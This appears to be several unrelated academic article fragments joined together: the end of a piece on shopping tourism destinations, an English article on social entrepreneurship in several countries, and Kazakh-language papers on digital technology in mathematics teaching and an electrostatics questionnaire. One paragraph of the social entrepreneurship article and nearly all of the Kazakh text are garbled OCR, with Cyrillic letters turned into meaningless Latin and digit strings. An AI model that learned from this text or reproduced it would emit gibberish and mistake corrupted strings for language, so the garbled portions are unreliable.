experiences. These complexes include fine dining, spas, cinemas, and even theme parks,
transforming shopping into a lifestyle activity.

Traditional markets and cultural bazaars, such as the Grand Bazaar in Istanbul or Nishiki Market in
Kyoto, are essential components of the shopping tourism landscape. These offer tourists
opportunities to purchase handmade, local, and culturally significant items, enriching the travel
experience.

Tax-free zones are a major draw for international tourists. Cities like Singapore and Seoul provide
VAT refunds for eligible purchases, which significantly influence shopping behavior, particularly
among budget-conscious and luxury-seeking travelers alike.

Fashion districts, including Paris” Golden Triangle, New York’s Fifth Avenue, and London’s Oxford
Street, act as branded destinations in themselves. Tourists plan entire trips around these areas,
often inspired by global fashion weeks and celebrity endorsements.

While shopping tourism is a global phenomenon, its expression varies significantly by region.
Europe is traditionally associated with heritage shopping and luxury brands. Cities like Paris, Milan,
and London emphasize exclusivity, craftsmanship, and timeless fashion. European cities benefit
from historical urban aesthetics and prestige brands that are globally recognized.

Asian cities such as Tokyo, Seoul, and Bangkok have turned into tech-savvy, trend-driven shopping
destinations. They focus on youth culture, electronics, K-beauty, and streetwear, appealing to
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younger demographics and digital-native consumers. Asia also leads in blending retail with digital
and gaming experiences.
The Middle East, led by Dubai, offers a luxury-forward, all-inclusive shopping experience with
modern infrastructure and vast retail spaces. Mega-malls double as tourist attractions and offer
tax-free shopping, making it a haven for high-spending travelers.
In the Americas, New York City, Miami, and Los Angeles stand out. These destinations merge global
brands with local creativity, especially in street fashion and design. The outlet shopping trend is
particularly strong in the U.S., attracting international tourists looking for premium goods at
discounted prices.
Dubai: The Global Shopping Capital
Dubai’s transformation into a shopping paradise is no accident. It is supported by strategic
initiatives like the Dubai Shopping Festival (DSF), which combines retail promotions with concerts,
raffles, and fireworks. DSF alone attracts over 3 million visitors annually (Dubai Tourism, 2023).
Dubai also benefits from its status as a travel hub, with Emirates Airlines connecting shoppers from
Asia, Europe, and Africa.
Paris: Fashion Legacy and Cultural Prestige
Paris has retained its allure through its branding as the home of luxury fashion. The presence of
flagship stores from Louis Vuitton, Chanel, and Hermes, combined with its cultural institutions and
walkable urban design, ensures that shopping is an immersive, elegant experience. Initiatives such
as tax-free shopping for non-EU visitors and luxury concierge services have also expanded its
appeal.
Singapore: Retail Innovation and Regional Hub
Singapore has leveraged its strategic location, multilingualism, and high urban planning standards
to become a shopping hub for ASEAN countries. In addition to Orchard Road, Singapore offers
design districts, pop-up stores, and seasonal sales events such as the Great Singapore Sale. Its
Changi Airport Jewel Mall even offers world-class shopping experiences right inside a transit hub.
Tokyo: Blending Technology and Tradition
Tokyo is a unique shopping destination where tradition meets futurism. Visitors can shop for
kimono in Asakusa and the latest gadgets in Akihabara. Japan’s reputation for high quality and
innovation, along with its efficient public transport, makes shopping tourism easy and rewarding.
Conclusion
Leading shopping tourism destinations have successfully built ecosystems where retail, hospitality,
culture, and infrastructure converge to create compelling travel experiences. From Dubai’s mega
malls to Paris’s elegant fashion districts and Tokyo’s vibrant youth culture, these cities
demonstrate that shopping tourism is not only a form of leisure but also a powerful economic
driver and a strategic branding tool. Regional variations reflect cultural preferences and policy
priorities, but the global goal remains consistent: to turn tourists into loyal shoppers and cultural
ambassadors. As digital transformation and experiential travel continue to reshape the tourism
landscape, cities that innovate while preserving authenticity will retain their appeal as shopping
tourism powerhouses.
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Social entrepreneurship plays a key role in the economies of foreign countries, offering
new approaches to solving social and environmental problems through the introduction of
innovative business models. The article analyzes the economic aspects of social entrepreneurship,
its impact on the economy of foreign countries, as well as its role in sustainable development.
Special attention is paid to the examples of successful practices from the USA, Great Britain,
Germany, India and Latin America, as well as the challenges and prospects for the development of
this phenomenon in different countries.
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Introduction

Social entrepreneurship is an activity aimed at solving social problems using
entrepreneurial methods. Unlike traditional business, the main goal of social entrepreneurship is
not only to make a profit, but also to create a positive social impact. International experience
shows that social entrepreneurship has a significant impact on the economies of countries,
contributing to reducing poverty, improving the quality of life and creating new jobs. This
phenomenon also promotes the development of sustainable and innovative business models that
serve as the foundation for continued growth and prosperity.

Social entrepreneurship has become an important part of economic policy in various
countries around the world. In a number of States, it has proved to be a powerful tool for
addressing issues such as inequality, the environment, health, and education. The article examines
examples of countries where social entrepreneurship has played a significant role in the economy,
as well as its impact on sustainable development and innovation.

At the present stage of society's development, social entrepreneurship is an important and
integral part of the economic and social sphere of every developed country. The main purpose of
social entrepreneurship is to solve the most important and significant social problems. Social
entrepreneurship is actively developing and functioning in many socially useful areas, promotes
effective interaction between all sectors of the economy in solving socially significant issues, and
makes extensive use of a variety of organizational and legal forms provided for by national
legislation. The development of social entrepreneurship contributes to the evolution of ethical
standards of market behavior, as well as increasing the corporate responsibility of the business
environment towards society.

Social entrepreneurship contributes to the improvement of the state system of providing
services to the population. Thanks to him, there is an increase in the range of services and ways
to provide them to the pubilic.

Social entrepreneurship is a source of innovation in solving social problems. Through an
innovative combination of available resources, using a combination of various tools, social
entrepreneurship solves socio-economic problems in a more efficient way. Due to this, social
enterprises use various innovations in the field of vital services more effectively. Social innovations
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can then be replicated by government agencies. All this leads to an improvement in the quality of
public services provided, as well as to the improvement of technology and methods of their
provision.

Social entrepreneurship in the USA was actively developing in the 1980s and has
undergone significant changes during its existence. This is primarily due to the growing interest in
business models aimed at solving social problems using innovative approaches. One of the most
striking examples is Grameen America, an organization based on the model developed by
Muhammad Yunus in Bangladesh. Grameen America provides microfinance to the poor, enabling
them to set up small businesses and improve their quality of life.

An important milestone in the development of social entrepreneurship in the United States
was the creation of Ashoka, an organization that supports social entrepreneurs around the world
by providing them with the necessary resources, knowledge and finance. Thus, the United States
has become one of the leaders in supporting social innovation, creating conditions for the growth
of the number of social enterprises that play an important role in the country's economy.

In addition, such instruments as Social Impact Bonds, bonds for social investments, are
actively developing in the United States. This mechanism allows attracting private funds to solve
social problems, which in turn stimulates the growth of the social entrepreneurship sector and
increases its contribution to the economy.

The UK is one of the leaders in the field of social entrepreneurship, where social enterprises
have been actively developing since the late 1990s. In 2000, the Social Enterprise UK Foundation
was established, which aims to support social enterprises and promote them in the market. The
country has developed programs that provide tax incentives and subsidies for social
entrepreneurs, which stimulates the development of this sector.

CoumanbHoe npeanpUHUMATENbCTBO B BENMKOOPUTAHUM CTANO BaXKHbIM MHCTPYMEHTOM
005 peleHna coumanbHbix npobiem, Takux Kak 6e3gomHocTb, HeaHocTb M HespaboTuua.
MprMMepom ycrnewHoro coumansHoro busHeca asnaetca The Big Issue — opraHusauma, KoTopas
nomoraeT 6e340MHbIM, NPeAOCTaBAAA MM BO3MOMHOCTb MPOAABATb *KypHan. ITO No3BonAeT
6e340MHbIM Nt0AAM 3apabaTbiBaTb HA KM3Hb M BOCCTAHABAMBATb CBOKD COLMANbHYO POSb.

Social enterprises in the UK have an impact on local economies by creating jobs and
providing access to educational and social services. They also contribute to the integration of
marginalized groups into economic processes, which leads to a reduction in social tension and an
improvement in the quality of life.

In Germany, social entrepreneurship has also been actively developing since the 2000s.
The German experience is interesting because government agencies, private investors and
universities actively interact here, which contributes to the effective development of social
enterprises. One of the largest players in this market is the Social Impact organization, which
supports aspiring social entrepreneurs by providing them with the necessary resources and advice.

The peculiarity of the German model is that social enterprises actively work in areas such
as healthcare, education, and the environment, ensuring that these services are accessible to all
segments of the population. Germany has a clear legislative framework aimed at supporting social
entrepreneurship, as well as various forms of financing, including grants and tax incentives.

In addition, Germany is actively developing the concept of social economy, which implies
the creation of value not only for business owners, but also for society as a whole. This has
contributed to the growth of the number of social enterprises that have a significant impact on
local economies, creating jobs and solving important social problems.

Social entrepreneurship in Latin America has become an important tool in the fight against
poverty and inequality. In countries in the region such as Brazil and Argentina, social enterprises
play a key role in providing access to basic services and improving the lives of people in rural and
poor urban areas.
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One example of a successful social business in Brazil is Viva Rio, an organization that works
with young people in the favelas of Rio de Janeiro, teaching them new professions and providing
jobs. Such enterprises are also actively developing environmental projects, providing access to
clean water and sustainable energy sources.

Social enterprises in Latin America are important for local economies, as they not only solve
social problems, but also create new jobs, which helps to reduce poverty and social tension.

India is an example of how social entrepreneurship can become an important tool to
address global challenges such as poverty, lack of education, and unsustainable use of natural
resources. One striking example is SELCO India, which provides solar panels to rural areas of the
country, providing access to clean energy.

Social enterprises in India operate in various sectors, including healthcare, education, and
environmental projects. They play a key role in the country's sustainable development by
providing access to essential services and creating jobs for marginalized segments of the
population.

In addition, India is actively developing initiatives to support women entrepreneurs by
creating opportunities for their participation in economic processes. This helps to improve the
social status of women and enhance their role in the economy.

Conclusion

Social entrepreneurship is of great economic importance in foreign countries, influencing
the development of local economies, job creation, and solving social and environmental problem:s.
Examples of successful practices in the USA, Great Britain, Germany, Latin America and India
demonstrate how social enterprises can effectively solve the most important problems of society,
promote sustainable development and create innovative business models.

International experience shows that social entrepreneurship is becoming an integral part
of the economy, providing a positive social impact and contributing to economic growth. In
countries where social entrepreneurship is actively developing, it contributes to improving the
quality of life, reducing poverty and inequality, as well as creating sustainable and innovative
business models.

The indirect contribution of social entrepreneurship is related to the fact that the activities
of its subjects contribute to the development of competition in the social sphere. Thus, social
entrepreneurship contributes to increasing the efficiency of the functioning of the system of
providing social services as a whole. This is due to the fact that fewer resources will be withdrawn
from the economy to provide and meet the same amount of social needs of the population. This
makes it possible to reduce the tax burden, and use the released resources to invest and develop
new projects in the future. In addition, the functioning of social entrepreneurship contributes to
the growth of indicators of the level of education and health of the nation.

Thus, social entrepreneurship has a positive effect on the efficiency of the economy,
contributes to an increase in economic growth. Thus, the practical activities of social
entrepreneurship entities support social, economic and political stability, which are integral
elements of the economic development of both individual States and the entire global community.
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MaTemaTmKaHbl OKbITY DapbICbiHAA
LNDPAbIK TEXHONOTMANAPAbI KONAAHY

Epmekosa Habupa CarnaynnaesHa

NHbopMaTHKa KaHe binimai umdpnanabipy Kabeapacsl, «l.XKaHcyripoB aTbiHAaFbI HKeTicy
yHuBepcuTeTi» KE AK, TanablkopfaH Kanackl, KazakcTaH

EpkiH Xaguwa EpKiHKbI3bI

6B01502 «MaTemaTtmka- MHdopmaTnKa» binim 6epy baraapnamacsl 6ombiHLWa 4-Kypc
CTyaeHTi, «l.XaHcyripoB aTtbiHAafbl HKeTicy yHuBepcuteTi» KE AK, TanablkopfaH Kanacel,
KasakcTaH

AHgaTtna

XX facblpablH, HacbiHAa UMPPALIK TeXHONOrMANAPAbIH KAapKbIHAGI Aamybl aJam3ar
[aMybIHbIH, KahaHabIK ypAiciHe alHanabl. YAKeH AepekTep, BUPTyanadpl KaHe TONbIKTbIPbIAFaH
WbIHABIK, Oenimaeny »Kynenepi, 3aTrap WHTEPHETI, KacaHAbl WHTENNEKT KaHe aKnapaTTblK,
nayipaiH backa ga benrinepi emipain 6apabiK cananapbiHaa MHHOBALMANAPAbIH KEHiHEH AaMyblHa
bIKMan eTefi, 9/1eyMeTTiK-9KOHOMUKANbIK —AaMydblH, YAKEH MNepcnekTMBanapbiH  alwagpl,
afgamaapabiH emip cypy canacblH e3reptesi. *aHa byblH TEXHONOMMANAPbLIH KEHIHEH EHTi3y, KyH
caMbliH aknapaT KenemiHiH, bipHelle ece apTybl, POOOTTAHAbIPY, Ka3ipri afemae TexHWKa MeH
backapy KyMenepiHiH anTapablkTalh KypaeneHyi 6inim GepyaiH 6apabik OybiHAAPbLI MeH
AeHrennepiHe KoMbINaTbIH TaNanTapAbl MYJ4EM aHa canasbl AeHrenre keTepyae.

KinT cesgep: undpnbik TexHonornanap, Mobunbai KocbiMwwanap, Ky3ipeTTinik.

Kipicne

OKbITYAbIH UMPAbIK TEXHOMOrMANAPbIH MeHrepy — Kasipri 3amaH Tanabbl. XX facblp —
umdbpnaHabipy Facklipbl. Kasipri Koramaarsbl 6iniMm *KyneciH AambiTyaa LMPPAbIK TEXHONOTUANAPAbIH,
MaHbI3bl 30p. binim Bepyai undpnaHabipy KaHe NoHAEPA FblIbIMU-TEXHOIOTUANbIK, HETi3[€e OKbITY
MaKcaTTapbl anfa Korblnyaa. Lndppnbik TexHoNornsnapablH, Aamybl Ke3eHiHAe OCbl 3aMaHfa cal
6inimai, api BINiKTI mMamaHaap Aaspnay — OKbITYLWbIHbIH, 6acTbl MiHAETI Honbin Tabblnagpi.
Kofamaasbl UnbpnaHabipy NPOLECTEPiHiIH, KaPKbIHAbI AaMybl aH-aKTbl, *KaHa TEXHOMOMMSAHbI
MEHrepreH eke TyAfa Ka/bINTacTblpyabl Tanan eTeai.

KasakcTtaH PecnybauKacbiHbiH, «Binim Typanbi» 3aHpiHbiH, 11-6abbiHblH, 9-TapMafbiHAa
OKbITYAbIH, aHa TEXHOIOTMANAPbIH, OHbIH, iWiHAE KacinTik 6inim bepy baraapaamanapbiHbiH KOFam
MeH eHOeK HapblfblHbIH ©3repin oTbipaTblH KarKeTTepiHe Te3 bGelimaenyiHe biKMan eTeTiH
KPeaUTTIK, KallblKTaH OKbITY, LMD PAbIK TEXHONOTUANAPAbI €HFI3Y XaHe TUIMAI nanganaHy MiHAEeTi
KOWMbINFaH.

Kasipri TaHaa enimisge 6inim bepy KymeciHae »KaHallblAablK KaTapbiHa LMOP/bIK KeHiCTiKTI
Kypy eHrisingi. Unbpnanabipy *aroalbiHaa okyWblnap meHrepyre Tmicti 6inim, 6inik, AaFabliHbIH,
Kenemi KyYHHeH KyHre apTbif, Ma3MyHbl e3repin oTblpadbl. binim 6epy canacbiHAa UMPPAbIK,
TeXHo/MormMsANapabl NalganaHy apKblibl BiniMHIH  canacblH  apTTbipy, 6inim  Bepy ypaiciH
MOAepPHM3aUMANAYAbIH TMIMAI TaCiNAepi KONAAHbINYAA XKaHe 0AaH api XKeTindipinyae.

MemnekeTTiH GipKaTap CTpaTernsablK KysKaTTapblHAa 6onalak mMamaHAapabl Aaspaay,
ONapAbliH, Kacibu BinikTiNiriH AamMbITy Macenenepi kKapacTbipblaraH. MaceneH, MemnekeT 6acLlbiCbl
Kacbim-*KomapT TokaeBTbiH 2022 *biabl 1 KbipKyeKkTe Ka3zaKkcTaH xankbiHa HKongaybiHaa «Kasipri
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»ahaHaplk e3repictep KeseHiHae TYNEeKTiH, Oinimi eHOeK HapbIFbiHa LbIKKaHFa AeMiH-aK KeTKinikcis
bonbin  Kanybl 264eH MyMKiH. COHAbIKTAH, KyY3blpabl  MWHUCTPAIKTIH,  andblHAa  OKy
baroapnamanapblH KaHa KafdanFa belimaey miHaeTi Typ. by — Kesek KyTTipMenTiH wapya...»
ekeHairi kepceTtinreH. CoHaari-ak, 6inim 6epy canacbiH UnMbpnaHAbIPYAbIH, MaHbI34bIbIFbl aTan
eTinin, cananbl 6inim 6epy meH OINiKTi Kagpnap Aaspnay NPoUeciH odaH dpi Keaengety
MaKcaTbiHAa «YKIMETKe OCbl MaceneMeH, aTan anTKaHda KalblKTaH Oinim Bepyre KaxkeTTi
aKMNapaTTbIK *KYMEHiH CanacblH }aKcapTyMeH MblKTan arHanbicy», « Llndpnbik negaror» 6inim bepy
»obacblH Ky3ere acblpy Tancbipbiafad [1]. byn e3 keseriHae Honawak neaarortbiH, UUMDPAbLIK
KY3bIPETTiMiNH  KanbINTaCTblPyAblH KeKeWKecTiniriH apTTbipa Tyceai. Onalt aewTiHimI3 OyraH
BipiHWiAeH, Kasipri LMPPAbIK KoFam/a 3amaHayu Z »aHe anbda ypnakTapbiH canasnbl binimaeHaipy
MeH TopbueneyaiH  KaxkeTTiniri, ekiHWigeH Kofapbl OKY  OPbIHAAPbIHbIH,  LUMPPAbIK
YHUBepCUTETTEPre TpaHchopMaLmanaHybl meH bacekere Kabinetti 6ony kepekrtiri ceben 6osbin
oTbIp.

OfaH Koca KasakctaH [lpe3ngeHTi Kacbim-*KomapT ToKaeBTblH 2023 xbinabiH, 1
KblpKyMeriHaeri «9ainetTi KasakcTaHHbIH, 3KOHOMMUKa/bIK Oaraapbl» aTTbl KasakcTaH XasiKblHa
onpaybiHaa  «*acaHabl  MHTENNEKTIHIH  MYMKIHAIKTepiH  TOAblK — nanganaHcak, 6inim
3KOHOMMKACbIHA TbIH cepniH 6epemis. *KeTeKLli XanblKapanblk KOMNAaHMANAPMEH bIHTbIMAKTACTbIK,
opHaTy KepekK. BinikTi mamaHgap AanapaaybiMbi3 KaxeT. KemiHge vy 6enrini »Kofapbl OKYy OpHbI
KacaHabl MHTENNEKT CafacblHA KaXKeTTi Kaap JasphayMeH »KaHe 3epTTeynep KyprisymeH
alHanbICybl KEPEK» AereH MiHAETTePI LMPPAbIK cayaTTbl MaMaHaap Aanpaay KaxeTTiNiriH apTTbipa
Tyceni [2].

2023 xbiAgplH, HaypbisbiHaa KP  YkimeTiHiH,  KayabicbimeH OekiTinreH KasaKkcTaH
PecnybsivKacbiHAa sKoFapbl Oinim MeH FbiibiMabl AambiTyabiH, 2023-2029 KblngapFa apHaafaH
TYXKbIPbIMAaMacbiHAa OpTa Mep3imai nepcnekTMBada aTafnfaH CanaHbl OAaH api AaMbITYAbIH,
HacbIMabIKTAapPbl aiKblH KepceTinreH. Ocbl TypFblaaH MeMNEKET Kofapbl Hinim bepy canacbiHAa
Keneci macenenepre epeklile Hasap ayaapyaa. byn macene KasakcrtaH PecnybanKkacbiHbIH, «binim
Typanbl» 3aHblHbIH 11-6an 9-TapMafblHAA: «...OKbITYAblH, }aHa TEXHONOrMANAPbIH, OHbIH, iWiHAE
6inim 6epy baraapnamanapbiHbiH KOFaM MeH eHOEeK HapbIfbiHbIH, ©3repin OTblPaTbiH KaXKeTTepiHe
Te3 belimaenyiHe biKknNan eTeTiH KPeauTTiK, KAWbIKTaH OKbITY, aKnapaTTbiK-KOMMYHMKAUMANbIK,
TEXHONOMMANAPAb! EHTI3Y, UMOP/bIK TEXHONOTMANAPAbI KONAAHY XaHe TUiMAI nanaanany», — aen
atan KepceTinreH [3]. MyHaarbl 6onallak MamaHHbIH, ©3 KaCibu KbI3MeTiHAE MeliHLIe, KeH api
TMIMAi TYpAe OKbITYAblH, KaHa TEXHONOMMANAPbIH KOAaHy, 3amaH TanabbliHa cal, KoFam e3repiciHe
NaMbIKTbl KY3bIPETTi, e3repicTepre benimaeny AeHreni xofapbl, UMPPAbIK TexHOAorManapabl
eHrisyre KabinetTi 60/1ybIH KO34€en OTbIP.

Herizri 6enim

binim — 6Oonawak 6afgapbl, Ke3 KeareH mamaH AaapnanTblH OKY OpPHbIHbIH 6acTbl
MiHAETTEPIHIH Bipi — *KeKe TyAFaHblH, Ky3bIPeTTilirH AambITy. Ky3bIpeT — OKYLUbIHbIH, }KeKe KaHe
KOfam TafanTapblH KaHafaTTaHAbIPy MaKCaTblHAAfbl TaObICTbl iC-9pEKeTiHe KaxeTTi 6inim
AaNblHAbIFbIHA 9N1EYMETTIK TancblpbiC. Ky3bIPeTTiNliK — OKYLUbIHbIH, 9PEKEeT TaCINAEPIH KaH-KaKTbl
nrepyiHeH KepiHeTiH 6inim HaTuxeci. UMdpabiK Ky3bIpeTTinik — 6yn »KeKke TyAfaHblH 3pTYPAI
aknapatTbl Kabbingay, Taby, cakTay, OHbl XYy3ere acblpy »aHe UMPPAbIK TEXHONOTrMANAPAbIH,
MYMKIHAIKTEPIH KaH-*KaKTbl KONAaHY KabineTi.

OKyWwblnapablH, TYMRIAIKTI  KY3blpeTTiniktepi — 6inim  OepyaiH  »KaHa HaTuxenepi.
Ky3blpeTTifiKTi OKyLWbIHbIH, MaH OOMbIHWA wurepreH 6inim, BiNiriHiH, »MHafbl Aen KabblngayFa
6onmanapl. On — OKYy HaTUXKeciHAe e3repmeni afdahga medrepred 6inim, 6iniK, AafabiHb
Toxipmnbene KongaHa any kabineti 6oabin TabblnaTbiH XaHa cana.

Kasipri 6inim 6epy kyheciHae UMPPAbIK TexHonorManapabl TWIMAI nanganaHy
OKYLbINAPAbIH, LblFAaPMaLLbINbIK KabineTTepiH AamblTyFa MyMKIHAIK 6epeni. Lndpablk Kypanaap
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apKblabl  Hinim  Bepy ypAiciH KaHawa YMbIMAACTbIPY — OKbITYAblH, CanacbiH apTTbipbIn,
OKYLWbINAPAbIH ~ MaTeMaTMKanblK oMiay KabineTiH xeTingipyre biknan eTendi. ocipece,
MaTeMaTMKa/blK ecenTepai Wellyae, 3epTTey KYMbICTAPbIH KYprisyae XaHe N0orMKanblk onnayabl
Ka/bINTacTblipyaa UMOPAbIK TEXHONOTMANAPAbIH MaHbI3bl 30p.

MaTemaTnKaHbl OKbIN-yMpeHy 6apbiCbiHAa A9pPICTiK cabaKTapmeH KaTtap, NPaKTUKabIK,
YOHE O3iHAIK KYMbICTapAblH MaHbI3bl 30p. [MpaKTUKabIK KYMbICTAp OKyLblNapAbiH 63 6eTiHLwwe
OpbIHAANTLIH TancblpmanapbiHa bafbiTTanfaH. MatemaTuka NaHiHAE UMPPAbIK TEXHONOTUANAPAbI
KONOaHy »kaHe Oafgapnamanay canacbiHAAfFbl MNPAKTUKAAbIK  MIHAETTEPAl Wewy apKplabl
OKYLblNAp OKy-3epTTey Kbi3MeTiHe TapTblnagbl. byn yaepic onapAblH, NPaKTUKabIK Aafablaapbl
MeH WwebepnikTepiH KanbINTacTbIpbIn, TeopusanbiK-adicTemenik binimaepiH 6ekiTyre KaHe
KOPbITbIHAbBIAYFa MyMKiIHAIK Bepea,.

MpaKTUKaNbIK KyMbICTap HapbICbiHAA OKyLWbIAAp UMPPAbIK TEXHONOrMANapasl benceHai
narnganaHa oTblpbin, Tanan eTiNeTiH HaTUXKere »eTyre Toipbicadbl. COHbIMEH KaTap, byn yaepic
onapapiH, XaHa 6inimai urepy, webepnikTepiH KeTingipy »oHe AafablapblH KanbiNTacTblpy
aACbIHAAFbI WbIFAPMALLbINbIK KbI3SMETIH AaMbITyMeH epekleneHesi. Matematuka cabakTapbiHAa
NPaKTUKANbIK *KYMbICTapAbl YAbIMAACTbIPY Ke3iHAe 3pTYPAi OKbITY 8A4iCTEPiHIH, iWiHAe eH TUIMAICI
— Tancbipmanapabl KBpHeKi Typae KepceTy aaici 6onbin Tabblnaapl.

O3iHAIK XYMbICTap Keneci TYpAe Kypblaybl MYMKiH, MbiCanbl, UMOPAbIK TEXHONOrMANAPFa
Heri3aenreH matemaThKa KypcblHAA: anrebpa aHe reomeTpua OoMbIHLIA XKaHa KOCbIMLLA 33ipiey.
PEKOHCTPYKTUBTI ©3iHAIK KYMbICTap Kanmnbl 6iniMm 6epeTiH MeKTenTiH, 8-CbiHbiObiHA apHanfaH
«KBagpaTTbiK GYHKUMA XKaHEe OHbIH rpaduri» TakblpblOblHAAFbI ecenTepai TYpAeHAIpin WolFapyfa
bafbiTTanfaH. Mbican peTiHAe, OCbl TaKbIpbiNKa OalnaHbICTbl Tancblipmanapabl UMOPAbIK,
TEXHONOTMANAPAb! KONAAHbIN OPbIHAAYAL! KapacTbipalblk (CypeT 1).

1-Kazam 2-KazaMm 3- KagaM

Nporpeccn

Crameraa

Mapages

Bexropm

Cypet 1- AnrebpmoH mobunbai niathpopmacsl

Lndpnbik TexHONOrMANAPAbl KONLAHY aPKbl/bl OKYLIbIAAPAbIH, XKa3y KaHe MaTeMaTUKanbIK
nafapinapbl xetine Tyceai. CoHbIMEH KaTap, 01ap 63 MyYMKiHAIKTePiH Dafanan, XeKe *KaHe TONTbIK,
OKbITYAb! XEeTiNaipyre, KaxkeTTi 6iniM canacbiH aHbIKTayFa MyYMKIHAK anaabl.

MPaKTMKaNbIK KYMbICTAp OKYLLUblIAAPAbIH, OpblHAAFaH TancbipManapbl MeH XKaTTblFyaapbiH
cuMnaTTay HerisiHae kyprisinei. bya Tancbipmanap spTypAai KYpAeninik geHreninae 601ybl MyYMKIH:

. BipiHWi AeHren — eTKeH maTepuanaapabl bekiTyre apHanfax;

. EKiHWI aeHre — KypAeni nNpaKTUMKanblK —Tancblpmanapabl Liellyre
baFblTTanfaH;

. YWiHWwi aeHren — oKylbinapabl UMOPAbIK TEXHONOTUANAPAbI KONAAHYAbIH

*KaHa aficTepiMeH TaHbICTbIpyFa apHaifaH.
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Ocblnaniia, MaTemaTMKaHbl OKbITYAa MNPaKTUKAAbIK KYMbICTapabl YMbIMAACTbIPYAbIH,
TMiMainiri UMPAbIK TEXHONOTMANAPAbl KOAAaHy apKblabl apTa Tycedi, O6yn o3 KeseriHae
OKYLUbINAPAbIH BiNiMIH XKeTinaipyre *KaHe WblFapMallbliblK KabineTTepiH AamMbiTyFa OH acep eTed,.

LUndpnbik TexHonornanapabl KongaHy matematuvka cabafblHAa MblHadan MyMKiHAIKTep

bepen;:
. OKyLWbl1apAblH NaHre AereH Kbi3blFyLblabIFbIH apTTbIpy;
o Kypaeni maTemaTmKanblK yrbiM4apabl BU3yandbl TYCIHAIPY;
. LblFapmalWwbinbIK OMNayabl AambITy YWiH MHTEPAKTUBTI Tancbipmanapapbl
nanaanasy;
o Heke KaHe TONTbIK, *KYMbICTapAbl YMbIMAACTbLIPYAA MKEMAINIK XKacay;
. ©34iK KaHe KallblKTaH 6ifiM any MyMKIHAIMH KeHenTy.
MaTemaTvKa cabafblHAA KONAAHbBINATBIH LMPPALIK TEXHONOTUANAP
1. [eoMeTpUANbIK KYpPbINbICTap MeH moaensaey: GeoGebra, Desmos CUAKTbI

H6armapnamanap apKplabl OKYLWbIAAP KypAeNi reoOMeTPUABIK dUrypanapbl canbin, onapasl
3epTTen anaapl.

2. MHTepakTuBTi TakTanap: Cabak OapbicbiHAa@ TaKTafa cbizbanap canbin,
MaTeMaTUKa bIK MPOLLECTePAi HaKTbl KOPCeTyre MyMKiHAIK bepea,.
3. BupTyangpl 3epTxaHanap: Kypaeni maTemaTuKanblk — ecenTeynepai,

rpaduKkTepai Kypyda apHaibl nnaTdopmanapbl KOAAAHY apKblbl  OKYLUbINAPAbIH
aHaNMTUKaNbIK OMMayblH AaMbiTyFa bonaapl.

4, OwbiH anemeHTTEpPi: Kahoot, Quizizz, Matific cekinai nnatdopmanap
MaTemaTuKanblK binimai bekitTyae WwoiFapmallbliblk KabineTTi apTTbipaabl.
5. KongaHb6anbl 6argapnamanap: lNporpammanay apKblabl MaTeMaTMKasbiK

ecenTtepai wewwy (Python, Scratch, MATLAB) oKylUblAapAblH, IOFTUKaIbIK olnay KabineTiH

AaMbITyFa bIKkNan eTeAi.

OKyLblNapAblH, WhiFapMallbl/blK, benceHainiriH apTTbipy agictepi

. Hobanblk OKbITy: Okylwblnap 6enrini 6ip MaTemMaTuKanbliK MaCceneHi
3epTTen, 63 WewimaepiH UMOPAbIK TEXHONOTMANAP apPKbl/bl YCbIHAAbI.

. Capanan OKbITy: Op OKylibiHbIH, 6iniMm  AeHreliHe CoMKec Keke
Tancelpmanap bepineai.

. OHnaviH nnatopmagarbl TONTLIK XyMbICTap: bipneckeH Tancblipmanap
apKblNbl OKYLLbINAP 63 OMNAPbIH EPKiH XKETKI3iN, WblFapMallblAblKTapbliH AaMbITabl.
KopbITbIHAbI
Kasipri TaHga umdpiblk pecypctapabl TWimai nanganaHy  Ginim anywsinap meH

nefarorTapAblH 3eMiHiH 63iHe ayaapbin OTbipFaH ayKbiMbl Macene 601bin OTbIp.

Lndpnbik 6inim bepy pecypcTapblHbIH TUIMAIAITT MeH KOAAaHbIYbIH TanAayablH ©3eKTiAiri:

-6ipiHWiAeH, Kasipri yakblTTbiH UMdPAaHAbIPY *KafaanbiHa Kellyi 6onca,

-eKiHWiAeH, OKbITYAbl YMbIMAACTbIPYAAFbl HOPMATUBTIK KyXKaTTap MeH 6inim  bepy
CTaHOAPTTapbIH KaHe OKy baraapnamanapbiHaarbl e3repictep 60nbin Tabblnagpl. LUndpabik
pecypcTapabiH 6acTbl MaKcaTbl- Oacekere KabineTTiNiKTi apTTbIpy, XaNAbIKTbiH ©MIP CYpYy canacbiH
KaKcapTy, OKy-Topbue NpoueciH KeaenaeTy »KoHe XeHinaety, Oananapfa, ycrasgapfa, ata-
aHanapfa *KyKTemeHi azanTy. EH 6acTbickl — 6inim Bepy canacbiH apTTbIpy.

Lndpnbik 6inim Bepy opTacbl 3epTTey *KYMbICbIMbI3Aa Xanbl 6inim bepeTiH mekemenepae
OKYy MpOUECiH TWiMAI yhbiMaacTbipy, Bonawak mamaHAbl AalblHAAyAa KaCiOW »KaHe TyNfanblk,
ToXipnbe bGepe anatbiH, Honalwak MamaHHbIH 63 HOMbIHAAFbI BAP/bIK MYMKIHAIKTEPIH »Ky3ere
acCblpyFfa AereH bIKbl1AC-bIHTACLIH TYAbIPATbIH CTUMY/AbIH, KaHap Ke3i peTiHAe KapacTbipblaabl.

Lndpnblk TexHonormanapabl Mmatematnka cabafblHAa TUMiIMAI NarAanaHy OKyLWblNapAbIH,
WbIFAPMalUbINbIK KabineTrepiH AamblTyFa »aHe 6inim canacbiH apTTbipyfa blKNan eTeai.
NHTepakTMBTi  Gafdapnamanap, OHAaWH nnatdopmanap, UMOPAbIK  Kypanaap  apKbiibl
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OKYLUbITAPAbIH, KbI3bIFYLIbINbIFbI aPTbIM, 0NAp 63 OMNApbIH epKiH Binaipyre, 3epTTeyWinik KaHe
WbIFapMallblNblK  KabineTTepiH »KeTingipyre  MymkiHAIK  anagbl.  COHAbIKTAH  UMOPAbIK,
TEXHONOMMANAPAbl KyMeni api TMimai KongaHy — Kasipri 3amaHfbl b6inim  HepyaiH, HacTbl
TananTapblHbIH, Hipi.
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MROFapbl CbIHbIN OKYLUbIAPbIHbIH
3/IEKTPOCTATUKAHbI TYCiHYIH bafanayfa
apPHaIFaH TYXKbIPbIMOAMA/IbIK Caya/IHaMa
23ipaiey

Ka3skeH ¥nxkaH CepikKbi3bl

MarunctpaHTt, Akagemunk E.A.bekeToB aTbiHAafbl KapafaHabl yHuBepcuTeTi, Pnsmka-
TEXHWKaNbIK GarkynbTeTi, DU3NKa KaHe HaHOTeXHOAOrMANAp Kadeapacs!

Kipicne

